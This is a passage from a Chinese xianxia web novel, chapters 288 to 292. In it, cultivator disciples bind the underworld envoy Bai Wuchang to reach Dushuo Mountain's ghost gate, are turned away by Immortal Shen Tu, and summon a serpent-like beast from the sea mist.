归壹派四人中有三位是和黑无常接触过的,这会脸色都有些古怪;唯一例外的顾梦真天真地问:“是吗,请哪位合适呢?” “额,”邬芽挠挠脸,“看你们能接受那种程度的……个性?” 顾梦真:“什么个性?” 桑九直白道:“一位就是脾气不太好,说话也不好听;另一位嘛,不太爱说话,客观上的很难沟通。” “那还是请能沟通的吧,我受不了不说话的。”顾梦真摇摇头,向他师兄妹询问,“你们觉得呢?” 明易和曾换月就大概知道是哪位了,想了想还是点头答应下来,心说勉强算个熟人吧。 石映心耸耸肩:“随便。” “行,”邬芽颔首道,“那么我现在就写信请黑无常来。” “好啊好啊。” 事情就这么纠结地决定……了才怪。 她们是很勉强地做好了心理准备要花钱请人了,结果黑无常居然回信说晚上有任务不来呢。 事情发展到这里,石映心已经受不了了,一脸不爽地拍桌而起:“真是好大的面子,白费我这么多时间!既然请不了就不请了——” 大伙都被这“砰”吓了一跳,心脏狂跳起来,紧接着就听她冒火地宣布道:“等今晚我就将他捉来!还五百灵石?呵!” 说罢就气势汹汹地转身上楼了。 留在桌上的五人余惊未消,都不敢知声。良久之后,脸色不知为何有些苍白的桑九问对边三人:“喂……石映心最近心情不好?” 归壹派三人面面相觑,尬笑几声打了圆场。 曾换月:“没有啦,其实我师姐脾气很好的。” 顾梦真:“嗯嗯,我师妹很好相处的。” 明易:“别有隐情,二位请见谅。” 幽冥宗二人:“嗯嗯……” 想不见谅也不行啊,她们两个加起来都打不过石映心。 “不过……”邬芽试探地问,“映心说的‘今晚就将他捉来’是什么意思啊?她要去……捉黑无常吗?” 顾梦真挠挠头:“不知道哇,不过捉来的话应该就不用花钱了吧?” 幽冥宗二人:重点是这个吗? “若她真要去捉、咳,去找黑无常,那么你们……”桑九顿了顿,“还有我和我师姐,要不要去帮忙?” 曾换月和顾梦真看向大师兄。她们大师兄微微摇头道:“如果她没来找我们帮忙,那么静观其变就好。” 大伙各有思虑地答应下来。 就这么到了晚上。 说要去捉黑无常的石映心一整天也没见她有什么动作,眼看着又快到子时,她们便再次出发去海边,这时候邬芽才小心问了一句:“那个,映心啊……黑无常的事……” 石映心便说:“现在不正要去?” 现在?现在不是要去海边吗?几人目目相觑,面色疑惑,只在心中暗暗期待着她有什么办法。 她们今日来得比昨日晚了些,海滩上人已经少了许多,还是多亏了那正在赶人的差役,她们打算等他办完事后再过去;不过多久就没什么人了,远远只望见那官差一人在沙滩上不紧不慢走着,似乎在做最后的检查。 邬芽探出脑袋看了看,又缩回来道:“好像差不多了,等他走了我们就可以……” 她话音未落,石映心便飞了出去,完全是朝那官差去的。 五人:OO? 第289章 这是干嘛啊?她们连忙跟上。就见石映心毫不避讳地御剑而去,直接停在那官差面前,居高临下道:“你,跟我走一趟。” 紧跟上来的五人:……立场是不是反了? 她们这会脑子混乱,却见那官差似乎也没反应过来,脸色木木的,看看石映心又看看她们五人,没有说话。 石映心不耐烦道:“说话!” 官差垂眸看了看沙地。 邬芽等人一时拿不准情况,左顾右盼抓耳挠腮,心想此情此景是该先问石映心要做什么呢,还是先给这位官差解释情况?但问题是啥情况她们也没搞明白啊…… “行。”石映心从剑上跳了下来,冷笑着朝那官差小哥走去,“不说话就当你默认,走!” 说罢她就变出一根灵绳来朝对方捆去,却见这位在邬芽等人眼中疑似被吓呆了的凡人下一刻却反应过来,飞快地将她的灵绳打开;眨眼间便有一阵白烟在他脚底炸开,烟雾中的人摇身一变,现出了原形—— 一身白衣,手上拿着的不再是水火棍,而是一根挂着铃铛的木棍,正是哭丧棒;此人身形瘦削,面色惨白,脸上带着一抹似有似无的微笑,但并无任何情绪,仿佛只是长了这么一张脸。 他的头上戴着一顶突兀的、但在场几人都熟悉的长三角帽子,上头写了四个字:一见生财。 顾梦真喜欢这顶帽子……可惜现在重点不是这个,他惊讶道:“你你你、难道你就是白无常?” 回答他的是石映心:“不错,他就是白无常,谢必安。” 谢必安客客气气地朝几人拱手行礼:“幸会。” “太幸会了,哈哈……”曾换月挠挠头,不知该惊该喜,“那什么,白无常怎么会在这里……遣散凡人呢?” 谢必安微笑不说话。 曾换月:OO? 明易先前见过他一回,不过不算认识,还没他和范无咎熟呢,这会也很客气道:“谢道友,难道昨晚那位是黑无常?” 谢必安微笑点头。 “啧,”这时石映心毫不避讳道,“早知道昨晚的情况,直接捉了范无 咎便是,摊上你这闷葫芦……” “咳。”邬芽连忙笑了一声,有些支吾道,“那个……谢道友,许久不见了啊,今日真是凑巧……也不对,其实我们来找你是有要事相求。” 谢必安看向她,静静的目光似乎没有询问的意思,他居然摇了摇头。 邬芽苦笑一声:“可我还未说……” 桑九直白道:“我们要去度朔山,想请你带路。” 谢必安又看向他,还是摇了摇头。 “不去?”石映心抱着胸站边上。 谢必安微笑摇头。 “好,那么不请你了。”石映心很好说话,一手上拿了剑,一手上拿了条绳,“既然你敬酒不吃吃罚酒,就别怪我不客气——” 意料之中但情理之外的冲突一触即发,无关人等连忙撤退避让,远远地旁观着不敢上前。 打斗声中,邬芽悄悄凑近来,问明易三人:“额,我们这样好吗?” “没事啦,”曾换月意味深长地笑了笑,宽慰她,“现在是特殊情况嘛……” 她还确实没遇到过这么特殊的情况哈,不过乐观豁达的邬芽很快就接受良好,想了想,转而又问:“那么我们不去帮忙吗?” “不必。”这是明易说的,他看得目不转睛。 桑九挑眉:“真不必?” “真的真的,”顾梦真也眯着眼看得投入,“这可是观察对方实力的好时机……” 不愧是归壹派的弟子啊……幽冥宗二人想,居然连八大门派之外的黑白无常的实力也这么认真地探究吗?大概这就叫知己知彼百战百胜吧。 她们在这边偷摸摸观战着前方的灵光剑影,看得目不暇接,连连惊叹。主要还是震惊石映心精彩绝伦的身手,她居然能左手用绳、右手耍剑,这么相互配合地默契十足,仿佛二者本就是一套招式。 而谢必安只有一根哭丧棒,这边缠住绳那边就防不住剑,这边挡住剑那边就被绳子捆上…… 怎么就打出了一种一对二的效果呢?谢必安本人都不明白。 像他们幽都的鬼差小神并不算在修仙界的范畴内,因此也没人知道他们的修为是何等境界,隐约明白实力很强;但重点在人家可是天地官署的官,说直白点,像她们修仙者死了还要去幽都报到呢……对这些鬼差自然该有敬畏之心。 但这会是打起来了。 而且还打赢了。 随着一道铃声脆响,谢必安抱着他的哭丧棒,一同被石映心的灵绳绑得结结实实、动弹不得;苍白的脸上不再有诡异的微笑,甚至疑似有些鼻青脸肿,但仔细一瞧又没看见了。 石映心收起剑一扯绳子,好在谢必安是飘着的,不然定要被扯个踉跄;她朝几人一抬下巴,神情有些不耐:“完事,走吧。” 凑巧刚过子时,正好出发呢。 五人一句话不多问,只连忙乖乖跟上:“好嘞。” 等坐上了小舟往度朔山划去的时候,一直若有若无地注意着谢必安动静的几人后知后觉地意识到她们捆、不对,是请对鬼了!设想若是黑无常在这,那岂不是吵得很? 瞧瞧人家白无常多么安静多么识趣,只要不去注意他脆弱可怜的委屈模样,她们也就受到一点点自我高尚道德的谴责……这是完全可以忍受的,无伤大雅。 明易从划船的人员中轮班下来,坐在谢必安对边,先是礼貌地打了声招呼:“谢道友,这次冒犯了,日后再向你赔礼道歉。” 谢必安原先麻木但面无表情的脸上这会又飘上了那抹诡异的笑容,不过他还是没说话,只是无声地看着对方。 明易已经了解了他的性子,也回应了他一个漂亮的微笑:“听说度朔山显世的异样大约是在半年前开始,不知你和范道友是何时开始管理这片区域的?” 谢必安:^-^ 明易也不管他答不答,自顾自地推测道:“我想应该不久?大概你们幽都也在调查之中,不然仅仅是驱散凡人的小事何必用得着你们黑白无常出手?也因此还未上报我们归壹派,这么看来度朔山是近段时间才有如此频繁的异样……” 谢必安:^_^ “度朔山上的鬼门也是你们幽都的一道暗门,若是出了问题可就大事不妙了,难怪你们鬼差如此上心……”说到这,明易也^-^道,“最近幽都应该很忙吧,毕竟还要处理幽冥洲旱灾的事……最近是不太平。” 谢必安:^^ “这个世界到底怎么啦了?” 谢必安不说话,坐在边上抱膝听着的曾换月忍不住嘟囔道:“太奇怪了大师兄,最近发生的事都太奇怪了……你和……你和二师兄也是,当然还有我,还有……唉,总之都很奇怪。” 顾梦真露出一个有些苦涩的微笑:“说实话,我这次醒来后就很有不妙的预感。” 听到这话,石映心蓦地抬眼:“什么预感?” 她基本不吭声,这突然的一句把顾梦真一吓,吃惊地望着她,张了张嘴,却不知说什么了。 “你没感觉吗,映心?”明易却反问她。 “有啊。”石映心勾唇道,“不过恰恰相反,我有一种大事很妙的预感。” 几人:…… “怎么?”她微微歪头,扫了一眼几人,“这样不好么?” “太好了哈哈……”顾梦真瞅了瞅沉默的大师兄和小师妹,只好硬着头皮附和道,“太好了,哈哈……” 谢必安的微笑虽然一动不动,但眼珠子还是很灵活的,这么静静地打量了几人一会,他垂下眼帘,似乎是望着手上的哭丧棒开始发呆。 哗啦啦…… 哗啦啦…… 她们在水声中前进,很快又来到了昨日那片水雾之地。不过这会有了白无常坐镇,那些小鬼小怪果真不敢凑近,只焦虑地在水里雾中探出一个部位来,或是眼珠子或是舌头或是手指头,这么巴巴地垂涎着。 顺利靠岸后,舟上的几人都松了口气。 脚踏实地时大伙还有些不切实际之感,但瞧瞧被五花大绑的白无常……哎呀这心虚的感觉其实还是蛮真实的。 几人兀自庆幸了会,顾梦真回过神来:“所以我们现在要做什么?” 邬芽道:“去找能解决旱灾的珍珠的下落?” 曾换月左顾右盼:“在这山上找吗?” 夜黑风高,这度朔山上阴风嗖嗖,没过一会她们便感到了不对劲的寒意;传说此处桃林延绵,放眼一看确实如此,可这会满月不知去哪了,桃红被夜色遮盖,只留下一大片错乱的树影。 没看见路。 上哪找啊? 这时桑九道:“师姐,不如我们叫些鬼来问?” “行,总比漫无目的地找好。”邬芽也道。 二人便用法术招来了几只鬼,都是缩头缩脑的,说话也小小声,一直在瑟瑟发抖。大伙瞅了瞅被五花大绑着瞧着非常无害的白无常,理解的同时又觉得有些好笑……当然是不能笑出来的。 可惜的是这些鬼也没听过什么珍珠的下落,更别说是能解决旱灾的珍珠了。 在她们感到迷茫的时候,有一只鬼小心翼翼道:“大人们若是想找什么宝贝,问我们这些孤魂野鬼是没用的……” “那该问谁?”桑九问话的时候没说明,但很明显地给了谢必安一个眼神,意思明确。 “不不不……小的不是这个意思。”这路人鬼吓了一跳,压根不敢往白无常的方向看去,连连摇头后解释道,“小的是说……大人们可以去问守山的两位神仙,此处没有谁比她们更神通广大了。” 第290章 经它这么一提,几人才后知后觉地想到度朔山上有守山的神仙一事。其实她们听了两回故事也没把这点放在心上,毕竟和什么鬼门比起来,有“神仙”一事才像是不切实际的谣言,只能作为传闻中增添几分神秘的色彩。 神仙哪是那么容易见到的呢? 邬芽便怀疑道:“你是说……这山上真的有神仙?” “是啊,”路人鬼点点头,眼中露出许多艳羡,“小的也有幸见过两回呢。” “你还见过?”顾梦真惊讶道,“是什么神仙啊?” “就是守护度朔山的神仙。” 顾梦真:…… 这时桑九看了看白无常,对师姐道:“说是鬼门,我原以为是归幽都管的。” 邬芽也瞅了瞅某人:“我也是……结果真的有神仙啊?” 谢必安:^-^ 明易便问:“我们该去何处找她们?” “这个嘛……”路人鬼挠挠头,回忆道,“这是可遇不可求的,就连在山上待了许久的老鬼也不清楚呢……啊,不过其实有一位大人常年在山上的,另一位则一般不在;不过小的听说,常年在的那位前段日子出去了,也不知回来没有呢?哎呀,大人们的行踪,怎么会是我等小鬼能知晓的?” 说的也是。 这时石映心问:“度朔山的鬼门在何处你应该知道。” 路人鬼连忙点头:“这是知道的!还请几位大人让小的为你们引路……” “走吧。”石大人应允了它的请求。 路人鬼:“这边请!” 跟着它走的时候,曾换月奇怪道:“我们去鬼门做什么?” “不是去找那两个神仙么?”石映心瞅她一眼,“她们看守鬼门,自然该在鬼门边上。” 顾梦真摸摸下巴:“是哦,那若不在呢?” 石映心轻笑一声:“若不在,也该在鬼门上设置了结界,只要将其破坏,她们怎么敢不回来?” “说得也……”顾梦真恍然大……惊道,“等等这不对吧?这样是不是不太好?” “对啊对啊,”曾换月也不同意,“这样鬼全跑出来怎么办?就是白无常在也够呛吧……” 白无常:^^ 石映心一摆手:“大惊小怪什么,我说的破坏是触发阵法,又不是砸门。” “不太好。”明易蹙眉摇头,“你如何能掌握分寸?” 见她的方案受到了许多反对,幽冥宗二人也悄悄松了口气,好在用不着她们两个外人劝说了……再看看那个领路的路人鬼也是一脸震惊的模样,显然这个法子是不行的。 石映心也没多说,只无所谓地一耸肩:“行,你们看着办呗。” 【……上有大桃木,其屈蟠三千里,其枝间东北曰鬼门,万鬼所出入也。】 【……桃树的树枝的东北方有一扇鬼门,是众鬼出入的地方。但人们不必害怕,因为桃树上有两位厉害的神仙看守鬼门,她们掌管统领那些可怕的鬼,如果遇见想害人的,便用苇绳捆绑,送去喂虎,可厉害了!这两位神仙叫……叫……】 明易问那二位神仙的名讳。 路人鬼摇头道:“不知道啊,我们不敢与那二位大人说话的。” 好吧。 不过老板娘的女儿和书肆老板有一点是说对了,她们确实是跟着路人鬼往桃枝的东北方向走;越走越感到遍体发寒,阴森可怖。这种冷并非穿上厚衣服便能防御,而是一种由内及外的战栗。 看那路人鬼和白无常倒是很寻常的模样,幽冥宗二人则有些适应;最冷的自然是归壹派四人,唇不亡也齿寒了,不住咯咯打颤,好在是有灵力护体,勉强能撑一撑。 “各位大人,”不知道走了多久的山路,反正也分不清,总算等到路人鬼指着前方说,“前边就到鬼门了。” 顾梦真松了口气:“太好了……” 往前再走数十步,果真见到了一扇“门”,只是这门有些特别,并非木门石门,而是一扇……枝叶门。 是由两颗明显比其它树强壮的巨大桃树并排而生,它们宛若两位守门将军,根深蒂固地在山上驻扎,枝繁叶茂的两个树冠紧紧交错纠缠、难解难分;无数枝条在二者间盘结交错,默契地编织成一扇似网的“鬼门”。 眼前石映心的背影与记忆中的双重影子相叠,桑九猛地受到冲击,不受控制地卡在了原地,只觉得脚下被什么缠绕住,无法再前行一步。 此情此景……分明是…… “桑九?”他师姐朝他投来疑惑的视线:“你怎么了?” “我……”桑九的眼光一错开,竟然和石映心对视上,他惊慌地又挪回来看向她师姐,深呼一口气道,“我觉得这门……好像在哪里见过?” 曾换月眨巴眼睛:“在哪?” 桑九回想起来,当时师姐她们赶来的时候,那扇枫树门早就被石映心给破坏了,因此她们没印象。而眼前这扇神似那扇的门,让他没由来地感到恐慌,斟酌一会,还是勉强镇定地看向石映心:“你、你有印象吗?” 石映心轻微挑眉:“哦,你说宋山中的那扇门?” “……嗯。”搞什么,这无所谓的语气。 “是长得像,”石映心道,“不过一扇枫树门一扇桃树门,怎么了?” “你……” 石映心:“我什么?” 桑九感到一些混乱,他究竟想问什么来着?分明哪里都不对劲,但居然一时不知从何问起!对方又是这样坦荡而不以为意的模样,更让他感到……毛骨悚然。 就在他有口难开心里十分折磨的时候,有人帮他问出口了,是石映心的大师兄: “宋山中的那扇门若是和这扇门有异曲同工之处,定也不同寻常。这扇桃树门是鬼门,那么宋山中的枫树门又是什么?” “你问我吗?”石映心一耸肩,“我怎么知道。” 明易盯着她:“你对那扇门做了什么?” 石映心看向他:“没干什么。” 明易便问桑九:“桑九,当时你在场,她做了什么?” “桑九当时受到灵力压制,神志不清头昏脑涨,看到什么都是不清不楚的。”邬芽帮师弟说话道,“他后来和我说,视线模糊到居然连映心的人影都看到两个,哈哈哈哈,是不是很糊涂?” 她话音一落,原以为换月她们也会笑两声,没想到场面居然安静下来。 邬芽莫名感到一些可怖的冷意,她心想,难道是因为鬼门近在眼前,所以受到了影响?这时应该不能去打量她人的神情,免得瞧见什么不该瞧见的。 其实本没有什么,但起了疑心就会受到影响……这便是鬼擅长的把戏。 说到鬼……咦,那带路的鬼不知何时飘走了。 “嗯。”在这死寂之中,还是明易应声打破了平静,他依旧望着桑九道,“所以,在神志不清头昏脑涨之中……你看到了什么?” 邬芽诧异的目光从她师弟转到明易身上。 桑九腾地看向石映心,果决的语气像是在指认一个大恶人道:“她把那扇门——那扇枫树门劈开了!” 明易在他声音后的安静中继续问:“门后面有什么?” “门后……”模糊的画面在桑九脑中不断回放,但每一次只不过是加剧了他的混乱;他分明是看到了什么,石映心伸出手去拿了什么……但却想不起来,或者当时就没看清,因此才没印象。 “……不知道。” 折磨脑子许久后说出这三字,桑九的遗憾的语气中有些解脱。 邬芽拍拍他肩膀:“没事,想不起来就不想了,反正想得起来的也不一定是真的。” 桑九:…… 一点也没感到安慰呢。 “映心,”邬芽清澈的双眼看向石映心,“所以事实上,门后有什么呢?” 石映心扫了眼围着她的几人,轻笑一声道:“门后便是导致宋山山火的元凶,威力骇人,才导致桑九神志不清;那日你师父问起时我不是说过了?我用了些办法将火暂时隔绝,让它恢复到以往的状态,但并不算是从源头上灭了火。” “是哦……”邬芽一愣,“当时你确实也解释过……” 曾换月却追问道:“你还是没说元凶是什么。” “因为没什么好说的,”石映心耸肩道,“这是一块红色的石头。” “石头……”顾梦真喃喃一声,连忙道,“那石头呢?你将它取来了?” 石映心不耐烦地否认道:“听不懂人话?我都说只是将它隔绝了。” 听不懂人话·五人:…… 这时邬芽心里默默冒了个念头:并不是听不懂,只是很怀疑,当时就你和桑九在场,师弟又是混乱的状态;她们赶到时又乱又忙,都急着救人出去,没工夫探查情况……谁知道你现在说的话是真是假呢? 可这念头一成型就吓了邬芽本人一跳,她怎么能这么怀疑映心呢?她可是帮忙解决了宋山的灾难啊,虽然师父她们不知为何还没回来…… 不行不行,邬芽摇摇头,连忙转移自己注意:“咳,要不我们先……想想面前这扇鬼门怎么办吧?” 好不容易找到这,大伙也不想在这重要关头出什么岔子,尤其是桑九,他面色苍白地点头附和道:“嗯,宋山的事……是我不该提,先找珍珠的线索吧。” 是该这样。 于是她们终于看向一直在边上不说话的、毫无存在感的白无常。 “喂,”石映心朝他说,“你来解决。” 谢必安:^-^ 石映心(^^):“你解决不了我就解决你。” 谢必安:…… 也不知为何这轻飘飘的威胁就让他开了金口:“什么珍珠?”【】 290-300 第291章 因为先前合作过几次,所以知道让某无常开口多不容易的邬芽连忙接住他的话:“就是能治理旱灾的珍珠!谢道友你可有所耳闻?若是找到这颗珍珠,幽冥洲就有救了,届时你们幽都也会清闲许多……” 谢必安听罢,缓冲了一会后皱起眉头,微微摇头:“没听过。” 这一蹦几个字的,曾换月已经忍不住了,噼里啪啦地仿佛要把某人的话也要一起说了:“他若是听过,那幽都肯定也会想办法去找这厉害的珍珠,毕竟幽冥洲的事幽都也得负责啊……” 谢必安看她一眼,点了一下头。 顾梦真摸摸下巴道:“难道真的要等两位守山的神仙回来?可谁知道她们什么时候回来呢……对了谢道友,你有办法联络上那二位吗?其实我们也不想随意破坏鬼门的……”说罢似乎还飞快地瞅了某人一眼。 石映心抱胸站那,没肯定没否认。 谢必安似乎也在斟酌……或者他反应就是这么慢,总之六人耐心地等了一会,总算见到他又点了下头。 这是答应了?大伙还有些不可置信呢。 曾换月喜出望外道:“太好了,那你赶紧的!” “哪位?”谢必安说完顿了顿,补充道,“联系哪位?” 曾换月飞快道:“哪位好说话你就联系哪位!” 谢必安又想了想,微微摇头道:“不好说。” 六人:…… 其实幽冥宗二人真心觉得,能忍受黑白无常二位的人就能忍受绝大多数难沟通的鬼差了,因此她们真的没什么要求:“哪位都行!” 明易这时候说了句:“不如请来得最快的那位。” 这真是个好注意,大伙连连应和:“对对对!” 谢必安点了下头表示明白了,接着就变出一张金黄的符纸来,用黑色的灵气在上头写了什么,手诀一转往地下扔去;就见那张符纸隐入地下,悄然不见了。 场面又恢复了安静。 “要等多久?”石映心问的。 谢必安:“最快半刻钟。” 应该等得起,虽然是“最快”。这半刻钟确实难等,她们不知道该说什么,一安静下来那浑身阴冷的感觉就格外明显,顾梦真都忍不住拿出火桶来取暖。 邬芽瞧见火桶才猛然醒悟,连忙给她们几人罩了一个暖和的灵气屏障,万分懊恼道:“真是对不住,我们幽冥宗的弟子对这些阴气已经很熟悉了,一时没注意到你们会受寒……对不住对不住!” “没事啦,”曾换月感觉那屏障像暖气一般不断朝她送来热量,让她觉得非常舒适,“我们也没想到问你来着……哇,好舒服啊……” 顾梦真也感叹道:“比我的火桶有用多了。” 说着就收起了火桶。 邬芽还是有些不好意思,解释道:“因为这是来自阴间的寒气,别说普通的火了,就是灵火也治标不治本;除非是像我们幽冥宗专门修炼此类功法的人,才好应付……” 大伙恍然大悟,真是术业有专攻啊。 也借此话题,她们有一搭没一搭地聊起来,不过都有些心不在焉,时不时瞟谢必安几眼;也不知道到底过了多少眼,总算见他有了动作:从地里取出一张符箓来,看着还是先前那张。 在大伙目光炯炯的注视下他瞅了一眼,抬起头来道:“来了。” 坐着的石映心就站了起来。 曾换月看她一眼,又问白无常:“啥时候来呀,还要等多久?” 不等谢必安回答,石映心却问:“来的是谁?” 谢必安看看曾换月,又看看石映心,慢吞吞地张开嘴:“是……” 那位守山神仙来的动静比他的回答更快:她们只见空中有一道如星辰般的光亮划过,却是由远及近地飞快朝他们而来。这团耀眼的光亮已经成了天地之间最显眼的一处,在众人的目瞪口呆中降临在她们眼前…… 准确地说,是鬼门之前。 余光中,那被五花大绑的白无常居然已经单膝跪下、用能自由活动的躯体部分做出行礼的姿态了,可见其对来人的恭敬。 大伙见他这样也感到些惶恐和不知所措,疑虑着是否要效仿的时候,那光亮渐渐散去,显出其中的人影来—— 某四人:O0O? “这……”曾换月张了张嘴,定睛看了会才确信自己没认错人,“仙、仙尊,您怎么……来了?” 明易很快回过神来,朝面前之人行礼:“弟子拜见妽荼仙尊。” 顾梦真一头雾水地跟着效仿,石映心也象征性地行了拱手礼;幽冥宗二人才是完全茫然呢,她们不认识妽荼,问也不好问,只安分照做着。 妽荼看到这些弟子的惊讶和她们也没差多少,现在已经皱起眉头,很有仙尊的架势了:“你们怎么会在这?” 转眼她又瞧见单膝跪在边上的谢必安,厉声质问道:“白无常,你这是什么模样?” 白无常也不吭声,只用力地看了看某些人,然后垂下了脑袋。 某些人:…… “误会、误会!”曾换月连忙解释道,“我们和谢道友闹着玩呢哈哈!最近民间流行玩这个!” 妽荼眯起眼睛:“是么?” “是啊是啊!这不过是朋友间的开玩笑罢了!”她仗着谢道友不擅说话就开始乱说,“您看谢道友都没挣扎!” 谢必安:…… 妽荼看了眼谢必安,脸色明显不太信,又要问些什么时,明易却转移了话题:“仙尊,我们来此处是来执行因果牌的任务。” 妽荼果真就问:“什么任务,居然要你们来度朔山?” 说着,她接过明易手中的因果牌一看:“火水之争……什么玩意?这便是所有的线索了?” 明易:“是。” 曾换月心里窃笑一声,心说原来就是妽荼仙尊也搞不懂因果牌啊。这时她偷摸摸给邬芽使眼色,后者很快领会,主动开口解释了前因后果:“如此如此,这般这般……晚辈此次前来,便是为了旱灾一事,不知仙尊您可否知道珍珠的下落?” “珍珠……这竟是因果牌的指引?”妽荼似乎也在思索回忆,不过很快就否认道,“此处没有什么珍珠。” 邬芽一愣,小心补充道:“可师祖说,珍珠是在东海之中,不过要我来度朔山上找线索……” “东海中也没有这样的珍珠。”妽荼的话平静而笃定,“我对此处了 如指掌。” “晚辈并不是质疑仙尊的意思……” “无碍。”妽荼不甚在意道,“你们幽冥洲的旱灾我也知晓,不日便会去处理,让你师祖不必忧心。” 她都这么说了……邬芽和师弟对视一眼,只能乖乖应下:“晚辈明白了,多谢仙尊。” “至于这枚因果牌……”妽荼瞅了眼自家门派的几人,目光在石映心身上停了稍久一会,最后还是落到她们大师兄身上,“本尊回收了。” “啊?”曾换月脱口而出,“还能回收?” 这是她们第一次遇到这种情况,那是什么意思呢?不用继续做任务了? 曾换月下意识看向她大师兄,对方脸上的惊讶也很明显,看来确实少见;她还想等大师兄问一问,可他却没开口。 “是。”又听妽荼不容拒绝道,“你们都回去吧,各回各家门派。至于谢必安……跟我来。” 谢必安便站了起来飘了过去,妽荼瞅他一眼打了个响指,他身上的灵绳便断开掉在了地上。可他并无任何轻松的神情,反倒比被五花大绑的时候更加拘禁紧绷——脸上已全然没了笑容。 “我将封闭度朔山,你们不必再来。”见这几个小孩没有动身的意思,妽荼再次强调道,“否则别怪本尊不客气——” 随她话音一落,几人只觉眼前有道耀眼的光一闪而过,等她们再反应过来,竟听到哗啦啦的海水声,脚下不再是踏实的山地而是摇晃的什么,定睛一看:她们已经回到了来时的小破船上。 哗—— “哎呦!” 船只莫名动了起来,似乎是被什么弹开了;几人诧异地回头一看,眼前忽然出现了一道很明显的灵力屏障,结结实实地、毫不留情地将岸与海水分开了。 这下好了,进山无望,只能回头。 方才妽荼一来,几人都乱了分寸,此时才后知后觉地意识到不对劲。邬芽奇怪道:“不是说请守山的神仙来吗?怎么来的是你们归壹派的妽荼仙尊?” “还能怎么,一定是那谢必安使诈!”曾换月不高兴道,“我们也不知道他那符箓上画了什么写了什么到底有什么效用,反正是把妽荼仙尊请来了,知晓我们归壹派弟子都敬畏她呢。” 顾梦真“啧啧”道:“这白无常话不多,心机倒是不少啊!” “不过……”桑九思酌道,“我方才见谢必安对你们妽荼仙尊毕恭毕敬的,就是被五花大绑着也要紧忙行跪礼……还以为是真的请来了哪位神仙。” “因为妽荼仙尊确实很厉害嘛。”曾换月苦着脸道,“我们归壹派的弟子都怕她……就是我们师公、哦,就是掌门啦,都对她很尊敬呢。感觉大家对妽荼仙尊的尊敬程度比对掌门更胜,哈哈……” 这些门派内的事外人是鲜少知晓的,幽冥宗二人听了都有些惊讶。桑九挑眉:“竟是如此?” “不能说‘竟是如此’吧,”顾梦真解释说,“妽荼仙尊是我们掌门师公的师姐啊。说身份是掌门气派些,论辈分那还是妽荼仙尊更胜一筹,这也算是我们归壹派弟子都心领神会的事了。” 邬芽便问:“那么为何不是妽荼仙尊做掌门呢?” 第292章 她这问题她们还真没想过呢,还是明易有些头绪:“这上两辈的事我们并不清楚,不过据我所知,妽荼仙尊主要负责天下包括八大门派的各种要事,不常待在门派中,算是主外。而且……” 他这时想到去年处理何碧薰任务的时候,映心和范无咎在鬼门关前闹腾,也是妽荼仙尊到来处理:“似乎幽都也在仙尊的管辖范围内。” “难怪谢必安能联系上呢。”曾换月一撇嘴,语气中颇有些不满,“这狡猾的家伙……” “好了。”明易瞅了瞅几人,心平气和道,“既然因果牌已被收走,妽荼仙尊也表示会处理幽冥洲旱灾一事……那么此事到此为止,我们回去吧。” “啊?”顾梦真直起身来,“真就到此为止啊?我咋感觉不上不下的……” 不止他一人如此,大伙都有这感觉。尤其是幽冥洲二人,处境更为尴尬:虽说这位很厉害的妽荼仙尊答应了会处理旱灾的事,但毕竟是别家门派的仙尊,她们总有些……不敢完全托付的不安心。 可如今度朔山已被封闭,她们又压根没得到关于那颗神秘珍珠的一丝一毫信息;再说这东海之大,找一颗珍珠和大海捞针有啥区别呢?她们这会也没有别的选择…… “我有办法。” 这是谁在说话?几人抬头一看,是面色平静的石映心。 明易看向她:“什么办法?” 石映心转头望了望四周,她们这会正好在度朔山外的水雾之中,也许是因为白无常、也许是因为妽荼,总之那些雾中水中的妖鬼依旧不敢逼近。她们就听她轻飘飘地说:“不如问问这些妖鬼。” “啊?问它们吗?”顾梦真张望了一下,“这些小妖小怪会知道?方才在山上,邬芽她们招来的鬼都不知道呢。” “你也说是在山上,这里是山外。那些在度朔山上的鬼受山的禁锢,其实还没这些水鬼自由。”石映心轻松道,“反正就是试试。” 邬芽想了想:“也是,反正就是试试……” “不必了。”明易却出声阻止道,“既然已经不用做任务,何必再多此一举?” 石映心仿佛没听见他说的,依旧对邬芽道:“邬芽,你此次受师祖之命来到东海,只得到一句妽荼仙尊的话,连一点有关珍珠的线索都没找到,回去该如何交代呢?” 邬芽看向石映心,她眼中似乎有关怀之意:“确实……” 石映心又看向桑九,微微笑道:“这些水雾中的妖怪不过是些小喽啰,捉来一只问问也不费工夫,若是得到消息便是意外之喜,之后无功而返也不留遗憾。你看?” 她说得确实很有道理,桑九眨了眨眼,先应下了:“也是……师姐,难道这些小鬼还不好对付?” 邬芽便下定决心:“好,那就问问……” 曾换月看了看他大师兄,似乎使了眼色,但后者只是微微摇了摇头;顾梦真怼了怼大师兄的胳膊,被他撇开。这些小动作并未引起什么注意。 “不过,”此时石映心又道,“我想了想,就算是在这水雾中的鬼,也是分死期长短的,若你们能招来死得久的鬼,它定能知晓得更多。” “好,”邬芽颔首道,“不过要费更多的时间……” 她话音未落,石映心就施法将船停了下来,她们正处于水雾最厚重的区域,方寸之间只能瞧见船上的彼此,连边上的海水也看不清:“夜还长,我们有很多时间;不过若是你们师姐弟二人一同施法,效率会更高些。” 既然如此也不必再就纠结了,邬芽和桑九便一同施法,试图召唤来在这水雾之中死期长的鬼怪。 在此期间其余四人非常安静,除石映心外的三人仿佛无聊般地等待着;石映心本人则是目不转睛地看着幽冥洲二人的动作,琥珀色的瞳孔似乎在何时变幻了神色,但仿佛只是灵光映照下的错觉。 随着邬芽和桑九的施法,那些原本忌惮她们的鬼怪们明显开始蠢蠢欲动,但不知为何都不敢逼近,竟兀自折磨着自己的欲望,属实奇异。 不过多久,水面下传来明显的动静,似有什么急速而来。 本就没松懈的明易更加紧绷了神经,察看了幽冥洲二人勉强坚持的脸色后,又扫了眼石映心,接着不动声色地握紧了寒竹剑,另一只手贴在船身上,施法尽量稳住船的动荡。 他师弟师妹有些不安地凑在了一起,一人攥着装满宝器的储物袋一人拿着厚厚的符箓,已经做好了准备。 在场唯有一位像没事人一般。不等多久,随着她望向一侧水面的动作,那声音已经无比接近了,在她们身下船只的剧烈动荡之中,很快便有“哗——”的破水声爆发,无数的海水从天而降,盖了她们一身。 邬芽和桑九终于结束了召唤,连喘口气的空档都没有,慌张地抓住船身避免被摇晃下去;在倾盆大雨之中她们抹了把脸,茫然地抬头望去: 朦胧的水雾之中,显出一道巨大的身影,渐渐地,它从雾中探过来—— 鸟头蛇身,尖喙圆眼,头下七寸左右长着一双巨大的灰黑色羽翅,蛇身漆黑如黑石,粗而长,湿漉漉地挂着海水,熠熠发光。 